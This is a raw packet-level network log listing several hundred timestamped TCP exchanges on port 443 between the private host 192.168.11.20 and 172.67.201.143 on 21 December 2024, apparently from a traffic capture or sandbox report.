Dec 21, 2024 19:23:05.577008963 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577012062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577084064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577174902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577325106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577334881 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577486992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577646017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577649117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577821970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577897072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577915907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.577922106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.577984095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578058958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578214884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578330994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.578344107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.578490019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578566074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578568935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.578656912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578798056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.578799963 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.578805923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.578869104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579008102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579011917 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579102039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579229116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579303980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579313040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579516888 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579519987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579606056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579749107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.579787016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579797029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.579943895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580024004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580027103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.580126047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580257893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580477953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.580490112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.580727100 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580729961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.580791950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.580931902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581032991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581046104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581196070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581269979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581274033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581363916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581506968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581528902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581538916 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581741095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581743956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.581831932 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.581962109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.582165956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582176924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582387924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.582391977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582473040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582479000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.582484961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582598925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.582602978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.582678080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.582781076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.583537102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.583545923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.583690882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.583847046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.583851099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.584104061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.584117889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.584126949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.584302902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.584306955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.584403038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.584546089 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585104942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585114002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585339069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585345030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585433006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585560083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585572004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585581064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585731983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585788965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.585792065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.585901022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.586044073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.587276936 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.587289095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.587431908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.587512970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.587517023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.587604046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.587743998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588143110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.588152885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.588341951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588346958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.588449001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588576078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588614941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.588624001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.588773966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588849068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.588852882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.589070082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.589212894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.589222908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.589437008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.589442015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.589528084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.589658022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.590821981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.590832949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.591021061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.591026068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.591124058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.591257095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.592233896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592242956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592340946 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592385054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.592466116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.592470884 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592556953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.592701912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592715025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592828989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.592832088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.592931032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.593022108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.593024969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.593233109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.593323946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.594700098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.594712019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.594857931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.594935894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.594939947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.595026970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.595436096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.595449924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.595586061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.595588923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.595660925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.595767975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.595928907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.595941067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.596076965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.596154928 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.596158981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.596250057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.596477032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.596487999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.596626043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.596628904 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.596704006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.596807957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.597877026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.597888947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.598028898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.598104954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.598108053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.598200083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.624743938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.624758005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.624954939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625010967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625221968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625236034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625329018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625334978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625453949 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625514984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625612020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625623941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625700951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.625734091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625835896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.625843048 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626007080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.626019001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626121998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626149893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.626161098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626302958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626332998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626456022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.626466990 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626600027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.626722097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626782894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626930952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.626945972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.626971006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627073050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.627157927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627345085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627424002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.627437115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627500057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.627506971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627597094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627748966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627877951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.627890110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.627968073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.627974033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628204107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628360987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628372908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628421068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628458977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628578901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628590107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628737926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628753901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628801107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628808975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628937960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.628968000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.628972054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629087925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.629098892 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629107952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629228115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.629285097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629395008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.629400969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629477978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629668951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629734039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.629743099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.629849911 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.629856110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630033016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630049944 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630177975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.630187035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630270004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630321980 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.630328894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630461931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.630486965 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630590916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.630595922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630683899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.630870104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.630878925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.631058931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.631066084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.631165028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.631988049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.631999016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.632153988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.632159948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.632217884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.632313967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.632565975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.632581949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.632761955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.632767916 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.632858038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633291006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.633304119 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.633465052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633471012 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.633542061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633647919 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633703947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.633857965 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.633886099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633979082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.633985043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.634062052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.634131908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.634730101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.634742022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.634984970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.634993076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.635066032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.635067940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.635077953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.635198116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.635204077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.635272026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.635379076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.636189938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.636200905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.636432886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.636439085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.636495113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.636650085 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.636753082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.636778116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.636987925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.636993885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.637053967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.637211084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.637768030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.637778997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.637948990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.638030052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.638035059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.638097048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.638247967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.638259888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.638273001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.638278961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.638498068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.638565063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639225006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.639239073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.639493942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639501095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.639542103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639627934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639719009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.639729023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.639877081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639976978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.639981985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.640070915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.640211105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.640578985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.640590906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.640760899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.640839100 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.640845060 CET	443	49743	172.67.201.143	192.168.11.20
